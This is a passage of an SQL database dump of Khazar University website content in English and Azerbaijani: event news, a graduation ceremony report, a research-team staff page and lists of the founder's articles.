International...','<p><a href=\"/files/events/decsnet_poster.jpg\"><img src=\"/files/events/decsnet_poster.jpg\" style=\"border:0px #000000;float:left;width:300px;height:422px;margin-left:7px;margin-right:7px\"></a>On October 16-18, 2018, on an organizational support of the Department of Political Science and International Relations, Dr. Stefano Braghiroli, Researcher on European Studies at Johan Skytte Institute of Political Studies, University of Tartu, will deliver lectures on various topics during 3 days.</p><p>I lecture “Foreign and domestic policy and EU-NATO relations” to be held on October 16, at 14:00, conference room (102N);</p><p>II lecture “EU-Russia relations” to be held on October 17, at 11:00 (room 506);</p><p>III lecture “European Neighborhood Policy and Eastern Partnership” to be held October 18, at 11:00 (room 102N).</p><p>The lectures are open to everybody.</p>'),(6121,3488,'en','Staff','Staff','<p><strong><a href=\"http://www.khazar.org/files/eiLink/cv/elshan_mirzazada_cv.pdf\"><img src=\"/files/eiLink/images/elshan_mirzazada.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elshan Mirzazada</a></strong></p><p><strong>Team&nbsp;Administrator</strong></p><p>MS in Chemical Engineering&nbsp;(Azerbaijan State Oil and Industry University)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:Eilink@khazar.org\">Eilink[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eiLink/images/shahriyar_alkhasli.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eiLink/cv/shahriyar_alkhasli_cv.pdf\">Shahriyar\r\nAlkhasli</a></strong></p><p><strong>eiLink R&amp;D Researcher</strong></p><p><strong></strong>PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p>MS in Petroleum Engineering (University of Tulsa, Oklahoma, USA)</p><p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:shahriyar.alkhasli@khazar.org\">shahriyar.alkhasli[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eiLink/images/izat_shahsenov.jpg\" style=\"width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eiLink/cv/izat_shahsenov_cv.pdf\">Izat Shahsenov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/eiLink/cv/izat_shahsenov_cv.pdf\"></a>eiLink R&amp;D Researcher</strong></p><p>PhD&nbsp;candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p>MS&nbsp;in Applied Physics and Mathematics (Moscow Institute of Physics and Technology, Russia)</p>  <p style=\"padding-left:160px\"><span style=\"font-weight:bold\">E-mail:&nbsp;</span><a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eiLink/images/vafa_ahmadzada.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eiLink/cv/vafa_ahmadzada_cv.pdf\">Vafa Ahmadli</a></strong></p><p><strong><strong>eiLink R&amp;D Researcher</strong></strong><br></p><p>MS in Petroleum Engineering (Imperial College London, UK)  </p><p><strong>E-mail:</strong> <a href=\"mailto:vafa.ahmadzada@gmail.com\"></a><a href=\"mailto:Vafa.ahmadzada@khazar.org\" target=\"_blank\">vafa.ahmadzada[at]khazar.org</a><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eiLink/cv/tural_ismayilov_cv.pdf\"><img src=\"/files/eiLink/images/tural_ismayilov.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Tural Ismayilov</a></strong></p><p><strong><strong>eiLink R&amp;D Researcher</strong>  </strong></p><p>BS in Petroleum&nbsp;Engineering&nbsp;(Azerbaijan State Oil and Industry University)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Tural.ismayilov@khazar.org\" target=\"_blank\">tural.ismayilov[at]khazar.org</a>  <a href=\"mailto:toorall3@gmail.com\"></a>  </p><p><br></p>'),(6122,3488,'az','İşçi heyəti','İşçi heyəti','<p><strong><a href=\"http://www.khazar.org/files/eiLink/cv/elshan_mirzazada_cv.pdf\"><img src=\"/files/eiLink/images/elshan_mirzazada.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elşən Mirzəzadə</a></strong></p><p><strong>Komanda Administratoru</strong></p><p>Kimya Mühəndisliyi üzrə magistr (Azərbaycan Dövlət&nbsp;Neft&nbsp;və&nbsp;Sənaye&nbsp;Universiteti)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:Eilink@khazar.org\">Eilink[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/eiLink/images/shahriyar_alkhasli.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eiLink/cv/shahriyar_alkhasli_cv.pdf\">Şəhriyar\r\nAlxaslı</a></strong></p><p><strong>eiLink T&amp;İ Tədqiqatçısı</strong><br></p><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/Shahriyar%20Alkhasli.pdf\"></a></strong><span style=\"color:#252525\">Neft və qaz yataqlarının\r\nişlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</span></p><p><span style=\"color:#252525\"></span>Neft Mühəndisliyi üzrə Magistr\r\n(Tulsa Universiteti, Oklahoma,&nbsp;ABŞ)</p><p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:shahriyar.alkhasli@khazar.org\">shahriyar.alkhasli[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><img src=\"/files/eiLink/images/izat_shahsenov.jpg\" style=\"width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eiLink/cv/izat_shahsenov_cv.pdf\">İzat Şahsenov</a></strong></p><p><strong>eiLink T&amp;İ Tədqiqatçısı</strong></p><p><strong></strong>Neft və qaz yataqlarının işlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</p><p>Tətbiqi Fizika və Riyaziyyat üzrə Magistr (Moskva Fizika və Texnologiya İnstitutu, Rusiya)</p>  <p style=\"padding-left:160px\"><span style=\"font-weight:bold\">E-mail:&nbsp;</span><a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a></p>\r\n<hr>\r\n<p><img src=\"/files/eiLink/images/vafa_ahmadzada.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eiLink/cv/vafa_ahmadzada_cv.pdf\">Vəfa Əhmədli</a></strong></p><p><strong>eiLink T&amp;İ Tədqiqatçısı</strong><br></p><p>Neft Mühəndisliyi üzrə Magistr (Imperial College London, UK)</p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><span style=\"font-family:\'Times New Roman\', serif;font-size:11.5pt;line-height:107%;background:#fffffff\"><a href=\"mailto:Vafa.ahmadzada@khazar.org\" target=\"_blank\" style=\"font-family:\'Times New Roman\', serif\">vafa.ahmadzada[at]khazar.org</a></span></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/eiLink/cv/tural_ismayilov_cv.pdf\"><img src=\"/files/eiLink/images/tural_ismayilov.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Tural İsmayılov</a></strong></p><p><strong>eiLink T&amp;İ Tədqiqatçısı</strong></p><p>Neft&nbsp;Mühəndisliyi üzrə bakalavr&nbsp;(Azərbaycan Dövlət&nbsp;Neft&nbsp;və&nbsp;Sənaye&nbsp;Universiteti)  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Tural.ismayilov@khazar.org\" target=\"_blank\">tural.ismayilov[at]khazar.org</a>  <a href=\"mailto:toorall3@gmail.com\"></a>  </p><p><br></p>'),(6123,3489,'az','Əlaqə','Əlaqə',''),(6124,3489,'en','Contact Us','Contact Us',''),(6178,3517,'en','Meeting with Manisa Celal Bayar University Representatives','On October 12, 2018, representatives of Manisa Celal Bayar University (Turkey) visited...','<p>On October 12, 2018, representatives of Manisa Celal Bayar University (Turkey) visited Neftchiler campus of Khazar University.</p><p>Manisa Celal Bayar University was represented by its Vice-Rector Prof. Dr. Bilal Habeş Gümüş and İpek Yeniay, Erasmus+ Specialist. Participants from Khazar University included Rector Dr. Hassan Niknafs and Ms. Turan Jafarova, Director of International Affairs Office.</p>\r\n<p>The goal of the visit was to discuss cooperation between the two universities within the Erasmus+ Programme, in particular partnership in the area of international credit mobility. It should be mentioned that Manisa Celal University received funding to carry out credit mobility with Khazar University. Funding is available for mobility opportunities for students as well as teaching and training staff.</p>'),(6179,3517,'az','Manisa Celal Bayar Universitetinin nümayəndələri ilə görüş','2018-ci il oktyabrın 12-də Xəzər Universitetinin “Neftçilər” kampusunda Manisa Celal Bayar Universitetinin...','<p>2018-ci il oktyabrın 12-də Xəzər Universitetinin “Neftçilər” kampusunda Türkiyənin Manisa Celal Bayar Universitetinin nümayəndələri ilə görüş keçirildi.</p><p>Manisa Celal Bayar Universitetini prorektor Prof. Dr. Bilal Habeş Gümüş və Erasmus+ mütəxəssisi İpek Yeniay təmsil edirdi. Xəzər Universitetini isə rektor Dr. Hassan Niknafs və Beynəlxalq Əlaqələr Şöbəsinin direktoru Turan Cəfərova təmsil edirdi.</p><p>Görüşün məqsədi Erasmus+ proqramı çərçivəsində əməkdaşlıq imkanlarını, xüsusilə də, beynəlxalq kredit mobilliyini müzakirə etmək idi.</p><p>Qeyd edək ki, Manisa Celal Bayar Universiteti Xəzər Universiteti ilə kredit mobilliyi həyata keçirmək üçün maliyyə dəstəyi əldə etmişdir. Maliyyə dəstəyi tələbə və müəllim mübadiləsi həyata keçirmək üçün nəzərdə tutulmuşdur.</p>'),(6180,3518,'az','Xəzər Universitetində 44-45-ci məzunluq mərasimi','2018-ci il oktyabrın 12-də Xəzər Universiteti Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera studiyasında...','<p>2018-ci il oktyabrın 12-də Xəzər Universiteti Üzeyir Hacıbəyli adına Bakı Musiqi Akademiyasının Opera studiyasında 44-45-ci məzunluq mərasimi keçirdi. Mərasimdə məzunlar və onların valideynləri, universitetin rəhbərliyi və əməkdaşları, xarici ölkələrin Azərbaycandakı səfirləri və qonaqlar iştirak edirdilər.</p><p>Mərasim Azərbaycan Respublikası Dövlət Himninin ifası ilə başlandı. Xəzər Universitetinin rektoru Dr. Hassan Niknafs məzunları təbrik edərək, onlara bir sıra məsləhətlər verdi, əmək həyatında və magistratura təhsillərini davam etdirməkdə onlara uğurlar arzuladı.</p><p>Belçika Krallığının Azərbaycandakı fövqəladə və səlahiyyətli səfiri Bert Şufs, Meksika Birləşmiş Ştatlarının Azərbaycandakı fövqəladə və səlahiyyətli səfiri Rodrigo Labardini, Xəzər Universitetinin Hüquq və Ssosial Elmlər fakültəsinin ilk məzunu, ADA Universitetinin baş müəllimi Kamran Behbudov çıxış edərək, məzunlara xoş arzularını bildirdilər.</p><p>Universitetin rektoru, Mühəndislik və Tətbiqi Elmlər fakültəsinin dekan əvəzi Hassan Niknafs, səfirlər Bert Şufs və Rodrigo Labardini, Tədris işləri üzrə prorektor Məhəmməd Nuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Elmi işlər üzrə prorektor İradə Xəlilova, Humanitar və Sosial Elmlər fakültəsinin dekanı Cabir Xəlilov, İqtisadiyyat və Menecment fakültəsinin dekanı Ceyhun Məmmədov, Təhsi fakültəsinin dekanı Elza Səmədova, Neft&nbsp;mühəndisliyi departamentinin müdiri Qəşəm Zeynalov, İnşaat mühəndisliyi departamenrinin müdiri Rasim Bayramlı, Elektronika və telekommunikasiya departamentinin müdiri Nuru Səfərov, Tarix və Arxeologiya departamentinin müdiri Roza Arazova, Riyaziyyat departamentinin müdiri Əli Hüseynli və digər əməkdaşlar məzunlara diplomları təqdim etdilər.</p><p>Qeyd olundu ki, 44-45-ci məzunluqda universiteti 336 bakalavr və 70 magistr bitirib.</p><p>Prorektor İsaxan İsaxanlı universitetin sosial həyatında fərqlənən bir qrup məzuna sertifikat təqdim etdi.</p><p>Məzunlar Seymur Bağırov və Nailə İbrahimli universitet andını səsləndirdilər və məzunlar and içdilər. Xatirə şəkilləri çəkildi.</p><p>Sonda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı geniş çıxış edərək, məzunlara yeni həyat yollarında dəstək ola biləcək tövsiyələrini söylədi.</p><p>Mərasimin gedişində əvvəlki məzunların təbrik çıxışlarından və məzunların tələbəlik həyatını əks etdirən kadrlardan ibarət slayd-şoular nümayiş etdirildi və universitetin Musiqi və incəsənət departamentinin hazırladığı konsert proqramı təqdim olundu.</p>'),(6181,3518,'en','44th and 45th graduation ceremony of Khazar University','On October 12, 2018, Khazar University organized 44th and 45th graduation ceremony at Opera studio of Baku Music Academy...','<p>On October 12, 2018, Khazar University organized 44<sup>th</sup> and 45<sup>th</sup> graduation ceremony at Opera studio of Baku Music Academy named after Uzeyir Hajibeyli. Graduates and their parents as well as the University administration and staff, ambassadors and others participated at the ceremony.</p><p>The ceremony started with National Anthem of the Republic of Azerbaijan. Hassan Niknafs, Rector, congratulated the students and wished them success in their career life and further education.</p><p>Bert Schoofs, Ambassador Extraordinary and Plenipotentiary of the Kingdom of Belgium to the Republic of Azerbaijan; Rodrigo Labardini, Ambassador Extraordinary and Plenipotentiary of the United Mexican States to Azerbaijan; Kamran Behbudov, the first graduate of the School of Law and Social Sciences and Head Instructor of ADA University, delivered speeches expressing their wishes to graduates.</p><p>Hassan Niknafs, Rector of the University and substitute Dean of the School of Engineering and Applied Sciences; Bert Schoofs and Rodrigo Labardini, ambassadors; Mahammad&nbsp;Nuriyev, Vice-rector on Education; Isakhan Isakhanli, Vice-rector on Management and Student Affairs; Irada Khazlilova, Vice-rector on Research; Jabir Khalilov, Dean of the School of Humanities and Social Sciences; Jeyhun Mammadov, Dean of the School of Economy and Management; Elza Samadova, Dean of the School of Education; Gasham Zeynalov,Head of the Department of Oil Engineering; Rasim Bayramli, Head of the Department of Civil Engineering; Nuru Safarov, Head of the Department of Electronics and Telecommunication; Roza Arazova, Head of the Department of History and Archaeology; Ali Huseynli, Head of the Department of Math, and others presented the graduates with diplomas. On 44<sup>th</sup> and 45<sup>th</sup> graduation, 336 undergraduates and 70 graduates finished university.</p><p>Vice-rector&nbsp;Isakhan Isakhanli presented the graduates, who were active in the social life of the University, with certificates.</p><p>The graduates Seymur Baghirov and Naila Ibrahimli recited the anthem of the University and the graduates took the anthem. Then the graduates had memory photos taken.</p><p>At the end, Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, gave important advice to the graduates.</p><p>In the course of the ceremony, slide-shows reflecting student life of previous graduates were demonstrated, moreover a concert program was presented by the Department of Music and Art.</p>'),(3722,2173,'az','Xəzər Universitetində TEDxKhazarUniversity tədbiri keçirildi','2017-ci il mayın 13-də Xəzər Universitetində TEDxKhazarUniversity (‘Thinking Deeply’) konfransı keçirildi. Konfransda müxtəlif mövzularda məruzələr dinlənildi...','<p>2017-ci il mayın 13-də Xəzər Universitetində\r\nTEDxKhazarUniversity (‘Thinking Deeply’) konfransı keçirildi. Konfransda müxtəlif\r\nmövzularda məruzələr dinlənildi. </p>\r\n<p>Konfransda Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar Şurasının sədri professor Hamlet İsaxanlı öz xəyalından və onun gerçəkliyə\r\nçevriliş hekayəsindən, Xəzər Universitetinin müəllimi Fuat Rəsulov pulun necə xərclənməli\r\nolduğundan, yazıçı Samir İmanov bir barmağı ilə qazandığı uğurlardan, şair və ədəbi\r\ntənqidçi Qismət Rüstəmov ədəbiyyatın dünyaya təsirindən, Xəzər Universitetinin\r\nmüəllimi Jestin Baby Mandumpal suyun insan həyatındakı yerindən, təlimçi Murad\r\nMəmmədov düşünərək də həzz almağın mümkünlüyündən, təlimçi Rəşad Bayramov\r\nemosional intellektin kariyeradakı rolundan, təlimçi Daşqın Həmidzadə\r\ninsanların özlərinə düzgün marşrut müəyyənləşdirmələrinin vacibliyindən, Xəzər\r\nUniversitetinin tələbəsi Erlan İsmayılov dünya görüşünün formalaşmasından danışdılar.</p>\r\n<p>Tədbirdə Note Done Yet musiqi qrupu və Məhsəti Cabbarlı\r\nmusiqi nömrələri səsləndirdilər.</p>'),(3723,2159,'en','Kastamonu University Faculty Member Delivers Lecture at Khazar University','On May 11,2017, a lecture/ workshop entitled “The changing of land use for using GİS” was held for students and researchers of Khazar University majoring in geography with the...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On May 11,2017, a lecture/ workshop entitled <em>“The changing of land use for\r\nusing GİS</em>” was held for students and researchers of Khazar University majoring in geography with the &nbsp;coordination\r\nof &nbsp;Rovshan Abbasov, Head of the Department of Geography\r\nand the Environment&nbsp;. &nbsp;The lecture was delivered by Dr.Mehmet Cetin,\r\ninstructor of the Faculty of\r\nAgriculture and Engineering, Head of the Department of Landscape Architecture.\r\nGraduate students of Baku State University majoring in geography and graduate\r\nstudents of Azerbaijan State University\r\nof Economics studying MBA also took part in the seminar held at Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">At the end of the seminar, Dr.Mehmet\r\nCetin answered the questions of the students and researchers and Gunay Karimova,\r\nan employee of the Department of Geography and Environment presented a gift to\r\nthe guest on behalf of Khazar University.</p>'),(3728,2176,'az','Mühazirələr','Mühazirələr',''),(3724,2174,'az','2011','2011',''),(3725,2174,'en','2011','2011',''),(3726,2175,'az','Məqalələr','Məqalələr','<p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Yanvar%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Yanvar 2011&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Fevral 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Mart%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Mart 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Aprel%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Aprel 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20May%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. May 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20%C4%B0yun%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır. Xəzər Xəbər. İyun 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20%C4%B0yul%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. İyul 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Sentyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Sentyabr 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Oktyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Oktyabr 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Noyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Noyabr 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Dekabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Dekabr 2011</a>  <br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Professor%20Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20beyn%C9%99lxalq%20simpoziumda%20a%C3%A7%C4%B1l%C4%B1%C5%9F%20nitqi---X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%202011.docx\">Professor Hamlet İsaxanlının beynəlxalq simpoziumda açılış nitqi--Xəzər Xəbər. 2011</a>  <br></p>'),(3727,2175,'en','Articles','Articles','<p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Yanvar%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Yanvar 2011&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Fevral%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Fevral 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Mart%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Mart 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Aprel%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Aprel 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20May%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. May 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r.%20X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20%C4%B0yun%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır. Xəzər Xəbər. İyun 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20%C4%B0yul%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. İyul 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Sentyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Sentyabr 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Oktyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Oktyabr 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Noyabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Noyabr 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Ke%C3%A7mi%C5%9Fin%20f%C9%99ls%C9%99f%C9%99si%20v%C9%99%20ya%20tarix%20nec%C9%99%20yaz%C4%B1l%C4%B1r--X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%20Dekabr%202011.pdf\">Keçmişin fəlsəfəsi və ya tarix necə yazılır--Xəzər Xəbər. Dekabr 2011</a>&nbsp;<br></p><p><a href=\"http://www.khazar.org/files/founder/articles/Professor%20Hamlet%20%C4%B0saxanl%C4%B1n%C4%B1n%20beyn%C9%99lxalq%20simpoziumda%20a%C3%A7%C4%B1l%C4%B1%C5%9F%20nitqi---X%C9%99z%C9%99r%20X%C9%99b%C9%99r.%202011.docx\">Professor Hamlet İsaxanlının beynəlxalq simpoziumda açılış nitqi--Xəzər Xəbər. 2011</a>&nbsp;</p>'),(3714,2154,'en','Students of School № 12 at Khazar University','On May 5, 2017, “Open Door” day was held at Khazar University.The high class students of school № 12 in Nizami district visited Khazar University....','<p style=\"\" margin-top:15.0pt;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On May 5, 2017, “Open Door” day was held at Khazar\r\nUniversity.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">The high class students of school № 12 in Nizami district visited Khazar\r\nUniversity. They got acquainted with the schools, specialties, labs and centers\r\nof the university. They were given brochures and comprehensive information\r\nabout the university.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">Memory photos were taken.&nbsp;</p>'),(3735,2180,'az','Xəzər Universitetində “Ünsiyyət bacarıqları” adlı seminar keçirildi','2017-cı il mayın 15-də Xəzər Universitetində “Ünsiyyət bacarıqları” adlı seminar təşkil olundu. Universitetin tələbələri və əməkdaşları üçün nəzərdə tutulmuş tədbir kommunikasiya...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2017-cı il mayın 15-də Xəzər Universitetində “Ünsiyyət\r\nbacarıqları” adlı seminar təşkil olundu. Universitetin tələbələri və əməkdaşları\r\nüçün nəzərdə tutulmuş 